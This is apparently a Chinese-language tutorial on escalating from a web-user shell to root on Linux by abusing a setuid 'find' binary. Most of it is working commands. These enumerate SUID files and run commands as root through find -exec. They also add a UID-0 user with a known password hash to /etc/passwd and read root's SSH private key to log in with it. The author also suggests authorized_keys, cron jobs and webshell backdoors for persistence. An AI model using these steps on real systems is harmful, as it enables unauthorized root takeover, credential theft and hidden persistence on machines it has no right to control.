前提是你已经拿到一个Linux的shell,并且执行find / -perm -u=s -type f 2>/dev/null
发现存在find,这说明find具有setuid 权限。
执行命令:find /etc/passwd -exec '[执行的命令]' \;
注:利用find进行执行命令或提权命令时,find后面一定要填一个可以找到的文件,我这里填的是/etc/passwd文件,可以自定义但一定要找一个存在的文件。
遇到问题
使用find / -perm -u=s -type f 2>/dev/null
查看发现find存在setuid权限,可以用该可执行文件进行提权。
执行find /etc/passwd -exec whoami \;
也显示为root权限。
但是执行find /etc/passwd -exec '/bin/sh' \;
后再执行命令却显示为www普通用户 。
但在使用find执行文件的增删改查(例如:mv、cp、cat、chmod、chown)的时候发现都是执行的root命令。
这里用查看/etc/shadow文件作为示例:
解决问题
根据具有文件修改的权限想到有一下几条提升权限的方法:
修改/etc/passwd文件添加用户
查看敏感文件例如/root/.ssh/id_rsa
写入authorized_keys连接公钥
写定时任务
写入webshell(不做为权限提升参考,但是可以通过该方法留后门)
修改/etc/passwd添加用户
修改/etc/passwd前记得备份文件
生成用户的密码:
openssl passwd -1 -salt '11' 123456 #-1是数字1不是英文l,-salt为盐值可自定义,123456为自己设置的密码,这里生成的密码是$1$11$nQEcXsZ5FfSmhrlNtWsds1
备份/etc/passwd:
find /etc/passwd -exec cp /etc/passwd /etc/passwd1 \;
find /etc/passwd -exec cp /etc/passwd /etc/passwd2 #备份两份,选一个备份文件进行修改,这里选择的passwd2文件进行修改
修改/etc/passwd2文件的权限:
find /etc/passwd -exec chmod 777 /etc/passwd2 \;
写入用户:
echo 'test:$1$11$nQEcXsZ5FfSmhrlNtWsds1:0:0:W:/:/bin/sh' >> /etc/passwd2 #这里写入的用户是test/123456
将/etc/passwd2文件替换为/etc/passwd:
find /etc/passwd -exec mv /etc/passwd2 /etc/passwd \;
生成密码:
备份文件以及修改权限的执行命令的截图未保存。
修改/etc/passwd2,添加新用户:
将/etc/passwd2替换为/etc/passwd
然后使用ssh进行远程连接(连接test用户,密码是设置的123456):
查找SSH私钥
查看是否存在私钥:
find /etc/passwd -exec ls -al /root/.ssh/ \;
查看私钥内容
find /etc/passwd -exec cat /root/.ssh/id_rsa_bt \;
保存私钥进行,并使用私钥进行连接:
ssh [email protected] -i id_rsa_bt